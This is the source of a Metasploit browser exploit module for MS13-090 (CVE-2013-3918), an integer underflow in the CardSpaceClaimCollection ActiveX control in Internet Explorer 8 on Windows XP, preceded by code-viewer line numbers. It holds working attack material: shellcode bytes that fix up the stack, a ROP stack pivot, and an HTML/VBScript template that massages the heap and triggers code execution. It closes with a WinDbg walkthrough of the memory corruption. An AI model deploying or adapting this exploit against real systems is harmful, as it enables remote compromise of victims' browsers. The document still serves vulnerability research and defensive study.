1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 |
## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::BrowserExploitServer def initialize(info={}) super(update_info(info, 'Name' => "MS13-090 CardSpaceClaimCollection ActiveX Integer Underflow", 'Description'=> %q{ This module exploits a vulnerability on the CardSpaceClaimCollection class from the icardie.dll ActiveX control. The vulnerability exists while the handling of the CardSpaceClaimCollection object. CardSpaceClaimCollections stores a collection of elements on a SafeArray and keeps a size field, counting the number of elements on the collection. By calling the remove() method on an empty CardSpaceClaimCollection it is possible to underflow the length field, storing a negative integer. Later, a call to the add() method will use the corrupted length field to compute the address where write into the SafeArray data, allowing to corrupt memory with a pointer to controlled contents. This module achieves code execution by using VBScript as discovered in the wild on November 2013 to (1) create an array of html OBJECT elements, (2) create holes, (3) create a CardSpaceClaimCollection whose SafeArray data will reuse one of the holes, (4) corrupt one of the legit OBJECT elements with the described integer overflow and (5) achieve code execution by forcing the use of the corrupted OBJECT. }, 'License'=> MSF_LICENSE, 'Author' => [ 'Unknown', # Vulnerability Discovery and exploit in the wild 'juan vazquez' # Metasploit module ], 'References' => [ [ 'CVE', '2013-3918'], [ 'OSVDB', '99555' ], [ 'BID', '63631' ], [ 'MSB', 'MS13-090' ], [ 'URL', 'http://blogs.technet.com/b/msrc/archive/2013/11/11/activex-control-issue-being-addressed-in-update-tuesday.aspx' ] ], 'Payload'=> { 'Space'=> 4096, 'DisableNops'=> true, 'BadChars' => "\x00", # Patch the stack to execute the decoder... 'PrependEncoder' => "\x81\xc4\x0c\xfe\xff\xff", # add esp, -500 # Fix the stack again, this time better :), before the payload # is executed. 'Prepend'=> "\x64\xa1\x18\x00\x00\x00" + # mov eax, fs:[0x18] "\x83\xC0\x08" + # add eax, byte 8 "\x8b\x20" + # mov esp, [eax] "\x81\xC4\x30\xF8\xFF\xFF",# add esp, -2000 }, 'Platform' => 'win', 'BrowserRequirements' => { :source=> /script|headers/i, :clsid => "{19916E01-B44E-4E31-94A4-4696DF46157B}", :method=> "requiredClaims", :os_name => Msf::OperatingSystems::WINDOWS }, 'Targets'=> [ [ 'Windows XP with IE 8', { 'os_flavor' => Msf::OperatingSystems::WindowsVersions::XP, 'ua_name' => Msf::HttpClients::IE, 'ua_ver'=> '8.0', 'arch'=> ARCH_X86 } ] ], 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f', 'Retries'=> false }, 'Privileged' => false, 'DisclosureDate' => "Nov 08 2013", 'DefaultTarget'=> 0)) end def exploit_template(cli, target_info) stack_pivot = [ 0x77c20433, # pop ebp, ret# eax points here 0x77c15ed5# xchg eax, esp # eip ].pack("V*") symbols = { "CardSpaceSigninHelper" => rand_text_alpha(5 + rand(5)), "get_code"=> rand_text_alpha(5 + rand(5)), "code"=> rand_text_alpha(5 + rand(5)), "massage_array" => rand_text_alpha(5 + rand(5)), "required_claims" => rand_text_alpha(5 + rand(5)), "massage_array" => rand_text_alpha(5 + rand(5)), "massage_array_length"=> rand_text_alpha(5 + rand(5)), "zero"=> rand_text_alpha(5 + rand(5)), "underflow" => rand_text_alpha(5 + rand(5)), "my_code" => rand_text_alpha(5 + rand(5)) } rop_payload = generate_rop_payload('msvcrt', get_payload(cli, target_info), {'target'=>'xp', 'pivot' => stack_pivot}) js_payload = Rex::Text.to_unescape(rop_payload) html_template = %Q| <html> <head> <META HTTP-EQUIV="PRAGMA" CONTENT="NO-CACHE"> <META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE"> </head> <body> <object classid='clsid:19916E01-B44E-4E31-94A4-4696DF46157B' id='<%=symbols["CardSpaceSigninHelper"]%>'></object> <script language='JavaScript'> function <%=symbols["get_code"]%>(){ var <%=symbols["code"]%> = unescape("<%=js_payload%>"); return <%=symbols["code"]%>; } </script> <script language='vbscript'> On Error Resume Next Dim <%=symbols["massage_array_length"]%>,<%=symbols["underflow"]%>,<%=symbols["zero"]%> Dim <%=symbols["massage_array"]%>(5493) <%=symbols["massage_array_length"]%> = 5493 <%=symbols["underflow"]%> = -7 <%=symbols["zero"]%> = 0 Set <%=symbols["required_claims"]%> = <%=symbols["CardSpaceSigninHelper"]%>.requiredClaims For i = <%=symbols["zero"]%> to <%=symbols["massage_array_length"]%> Set <%=symbols["massage_array"]%>(i) = document.createElement("object") Next For i = 4093 to <%=symbols["massage_array_length"]%> Step 2 <%=symbols["massage_array"]%>(i) = Null Next For i = <%=symbols["zero"]%> to <%=symbols["underflow"]%> Step -1 <%=symbols["required_claims"]%>.remove(CLng(i)) Next Dim <%=symbols["my_code"]%> <%=symbols["my_code"]%> = <%=symbols["get_code"]%>() <%=symbols["required_claims"]%>.add(<%=symbols["my_code"]%>) For i = <%=symbols["zero"]%> = 0 to <%=symbols["massage_array_length"]%> if <%=symbols["massage_array"]%>(i) <> Null Then <%=symbols["massage_array"]%>(i).focus End If Next For i = <%=symbols["zero"]%> = 0 to <%=symbols["massage_array_length"]%> <%=symbols["massage_array"]%>(i) = Null Next </script></body></html> | return html_template, binding() end def on_request_exploit(cli, request, target_info) print_status("Sending HTML...") send_exploit_html(cli, exploit_template(cli, target_info)) end end =begin The CCardSpaceClaimCollection is abused. It is a 0x10 size object whose memory is allocated at: .text:0040A6E8 and dword ptr [edi], 0 .text:0040A6EB pushebx .text:0040A6EC pushesi .text:0040A6ED push10h ; unsigned int .text:0040A6EF mov ebx, 8007000Eh .text:0040A6F4 call??2@YAPAXI@Z; operator new(uint) The interesting fields: 0x0 : vftable 0x4 : unknown 0x8 : number of elements on the collection (size) 0xc : pointer to the CCardSpaceClaimCollection elements stored on a SafeArray (http://msdn.microsoft.com/en-us/library/windows/desktop/ms221482(v=vs.85).aspx) Both three fields are initialized to 0 / NULL when creating an instance of the object: .text:00409980 ; public: __thiscall CCardSpaceClaimCollection::CCardSpaceClaimCollection(void) .text:00409980 xor ecx, ecx .text:00409982 mov [eax+4], ecx .text:00409985 mov [eax+8], ecx .text:00409988 mov [eax+0Ch], ecx .text:0040998B retn (1) The first problem happens on CCardSpaceClaimCollection::remove, since it's possible to remove an element from a 0 length collection, underflowing the length field: .text:00409D46 loc_409D46: ; CODE XREF: CCardSpaceClaimCollection::remove(tagVARIANT *)+85j .text:00409D46 dec dword ptr [esi+8] ;esi pointing to the CCardSpaceClaimCollection Debugging the underflow: 0:017> bu icardie!CCardSpaceClaimCollection::remove+0xa0 0:017> g ModLoad: 033b0000 033c2000 C:\WINDOWS\system32\icardie.dll ModLoad: 63380000 63434000 C:\WINDOWS\system32\jscript.dll ModLoad: 034e0000 0354a000 C:\WINDOWS\system32\vbscript.dll Breakpoint 0 hit eax=03672280 ebx=0022012c ecx=00000000 edx=00000000 esi=0035da40 edi=00000000 eip=033b9d46 esp=0201f3e4 ebp=0201f3f8 iopl=0 nv up ei pl nz ac pe nc cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00000216 icardie!CCardSpaceClaimCollection::remove+0xa0: 033b9d46 ff4e08dec dword ptr [esi+8]ds:0023:0035da48=00000000 0:008> g Breakpoint 0 hit eax=0367227c ebx=0022012c ecx=00000000 edx=00000000 esi=0035da40 edi=ffffffff eip=033b9d46 esp=0201f3e4 ebp=0201f3f8 iopl=0 nv up ei pl nz ac pe nc cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00000216 icardie!CCardSpaceClaimCollection::remove+0xa0: 033b9d46 ff4e08dec dword ptr [esi+8]ds:0023:0035da48=ffffffff 0:008> g Breakpoint 0 hit eax=03672278 ebx=0022012c ecx=00000000 edx=00000000 esi=0035da40 edi=fffffffe eip=033b9d46 esp=0201f3e4 ebp=0201f3f8 iopl=0 nv up ei pl nz ac pe nc cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00000216 icardie!CCardSpaceClaimCollection::remove+0xa0: 033b9d46 ff4e08dec dword ptr [esi+8]ds:0023:0035da48=feffffff 0:008> g Breakpoint 0 hit eax=03672274 ebx=0022012c ecx=00000000 edx=00000000 esi=0035da40 edi=fffffffd eip=033b9d46 esp=0201f3e4 ebp=0201f3f8 iopl=0 nv up ei pl nz ac pe nc cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00000216 icardie!CCardSpaceClaimCollection::remove+0xa0: 033b9d46 ff4e08dec dword ptr [esi+8]ds:0023:0035da48=fdffffff 0:008> g Breakpoint 0 hit eax=03672270 ebx=0022012c ecx=00000000 edx=00000000 esi=0035da40 edi=fffffffc eip=033b9d46 esp=0201f3e4 ebp=0201f3f8 iopl=0 nv up ei pl nz ac pe nc cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00000216 icardie!CCardSpaceClaimCollection::remove+0xa0: 033b9d46 ff4e08dec dword ptr [esi+8]ds:0023:0035da48=fcffffff 0:008> g Breakpoint 0 hit eax=0367226c ebx=0022012c ecx=00000000 edx=00000000 esi=0035da40 edi=fffffffb eip=033b9d46 esp=0201f3e4 ebp=0201f3f8 iopl=0 nv up ei pl nz ac pe nc cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00000216 icardie!CCardSpaceClaimCollection::remove+0xa0: 033b9d46 ff4e08dec dword ptr [esi+8]ds:0023:0035da48=fbffffff 0:008> g Breakpoint 0 hit eax=03672268 ebx=0022012c ecx=00000000 edx=00000000 esi=0035da40 edi=fffffffa eip=033b9d46 esp=0201f3e4 ebp=0201f3f8 iopl=0 nv up ei pl nz ac pe nc cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00000216 icardie!CCardSpaceClaimCollection::remove+0xa0: 033b9d46 ff4e08dec dword ptr [esi+8]ds:0023:0035da48=faffffff 0:008> g Breakpoint 0 hit eax=03672264 ebx=0022012c ecx=00000000 edx=00000000 esi=0035da40 edi=fffffff9 eip=033b9d46 esp=0201f3e4 ebp=0201f3f8 iopl=0 nv up ei pl nz ac pe nc cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00000216 icardie!CCardSpaceClaimCollection::remove+0xa0: 033b9d46 ff4e08dec dword ptr [esi+8]ds:0023:0035da48=f9ffffff 0:008> g (2) The second problem happens on CCardSpaceClaimCollection::add First of all the SafeArray Container is get: .text:00409C0A mov esi, [ebp+arg_0] .text:00409C0D call?GetInnerArray@CCardSpaceClaimCollection@@AAEPAUtagSAFEARRAY@@XZ ; C and its capacity checked, so if needed it's going to be resized .text:00409C20 loc_409C20: ; CODE XREF: CCardSpaceClaimCollection::add(tagVARIANT *)+48j .text:00409C20 mov ebx, [esi+8]; The number of elements .text:00409C23 inc ebx ; The number of elements incremented .text:00409C24 call?GrowInnerArrayIfRequired@CCardSpaceClaimCollection@@AAEJJ@Z ; In order to check if the SafeArray needs to be resized GrowInnerArrayIfRequired checks the length of the CCardSpaceClaimCollection(underflowed) against the capacity of the SafeArray, since the comparision is signed, nothing is resized: 0:008> g Breakpoint 4 hit eax=00000000 ebx=fffffff9 ecx=00000009 edx=0000000a esi=0035e6b8 edi=00242b44 eip=036a9e41 esp=0201f3d0 ebp=0201f3dc iopl=0 nv up ei pl zr na pe nc cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00000246 icardie!CCardSpaceClaimCollection::GrowInnerArrayIfRequired+0x2e: 036a9e41 3bdacmp ebx,edx 0:008> r ebx, edx ebx=fffffff9 edx=0000000a Since the comparision is signed, nothing is resized: 0:008> t eax=00000000 ebx=fffffff9 ecx=00000009 edx=0000000a esi=0035e6b8 edi=00242b44 eip=036a9e43 esp=0201f3d0 ebp=0201f3dc iopl=0 nv up ei ng nz ac po nc cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00000292 icardie!CCardSpaceClaimCollection::GrowInnerArrayIfRequired+0x30: 036a9e43 7e1fjle icardie!CCardSpaceClaimCollection::GrowInnerArrayIfRequired+0x51 (036a9e64) [br=1] In order to proceed to modify the SafeArray, "add" saves a pointer to the data (ppvData) into a local variable: .text:00409C2F lea eax, [ebp+ppvData] .text:00409C32 pusheax ; ppvData .text:00409C33 push[ebp+psa] ; psa .text:00409C36 callds:__imp__SafeArrayAccessData@8 ; SafeArrayAccessData(x,x) Then an String witht the user controlled contents is created, and a pointer to the contents is stored into the ppvData. Unfortunately, the underflowed length address is used to calculate where to store the thing: .text:00409C51 pushdword ptr [edi+8] ; psz .text:00409C54 callds:__imp__SysAllocString@4 ; SysAllocString(x) .text:00409C5A mov ecx, [esi+8] .text:00409C5D mov edx, [ebp+ppvData] .text:00409C60 mov [edx+ecx*4], eax ; edx pointer to ppvdata, ecx is the corrupted CCardSpaceClaimCollection length Finally the CCardSpaceClaimCollection size is incremented: .text:00409C63 inc dword ptr [esi+8] When debugging : 0:008> t eax=001f5884 ebx=00000000 ecx=fffffff8 edx=00000028 esi=0035e6b8 edi=00242b44 eip=036a9c5d esp=0201f3e4 ebp=0201f3f8 iopl=0 nv up ei pl zr na pe nc cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00000246 icardie!CCardSpaceClaimCollection::add+0x8e: 036a9c5d 8b55f8mov edx,dword ptr [ebp-8] ss:0023:0201f3f0=10798a03 0:008> t Here the underflow happens edx+ecx*4 points to 038a78f0, which is below 038a7910, where ppvData lives: eax=001f5884 ebx=00000000 ecx=fffffff8 edx=038a7910 esi=0035e6b8 edi=00242b44 eip=036a9c60 esp=0201f3e4 ebp=0201f3f8 iopl=0 nv up ei pl zr na pe nc cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00000246 icardie!CCardSpaceClaimCollection::add+0x91: 036a9c60 89048amov dword ptr [edx+ecx*4],eax ds:0023:038a78f0=00000000 0:008> t eax=001f5884 ebx=00000000 ecx=fffffff8 edx=038a7910 esi=0035e6b8 edi=00242b44 eip=036a9c63 esp=0201f3e4 ebp=0201f3f8 iopl=0 nv up ei pl zr na pe nc cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00000246 icardie!CCardSpaceClaimCollection::add+0x94: 036a9c63 ff4608inc dword ptr [esi+8]ds:0023:0035e6c0=f8ffffff Later the overwritten object is used, its memory dereferenced and control of the execution flow is possible: 0:008> g (b4c.b70): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=001f5884 ebx=00000000 ecx=038a78e0 edx=0201f5e4 esi=00000002 edi=036d150c eip=cccccccc esp=0201f5b4 ebp=0201f5c0 iopl=0 nv up ei pl zr na pe nc cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00010246 cccccccc ????? 0:008> dd ecx 038a78e063ab1b18 00000002 6363fbe4 03894d38 038a78f0001f5884 00000000 00000000 00000000 038a790000000000 00000000 00000000 00000000 038a791000000000 00000000 00000000 00000000 038a792000000000 00000000 00000000 00000000 038a793000000000 00000000 e8319dff ff080100 038a794063ab1b18 00000001 6363fbe4 03894f08 038a795063767260 00000000 00000000 00020000 0:008> db 001f5884 001f5884bb bb bb bb cc cc cc cc-cc cc cc cc cc cc cc cc................ 001f5894cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc................ 001f58a4cc cc cc cc cc cc cc cc-00 00 00 00 e6 7e a1 ea.............~.. 001f58b400 01 08 ff 70 18 5c 75-2c 18 5c 75 02 00 00 00....p.\u,.\u.... 001f58c4e8 ac 9c 02 00 00 00 80-f3 1b 5d 75 b8 58 1f 00..........]u.X.. 001f58d448 00 9c 02 84 14 5c 75-e8 ac 9c 02 1b 00 00 00H.....\u........ 001f58e4e8 52 19 00 ed 7e a1 ea-00 01 08 ff 08 00 00 00.R...~.......... 001f58f490 01 00 00 f0 00 00 00-00 00 00 00 01 00 00 00................ =end |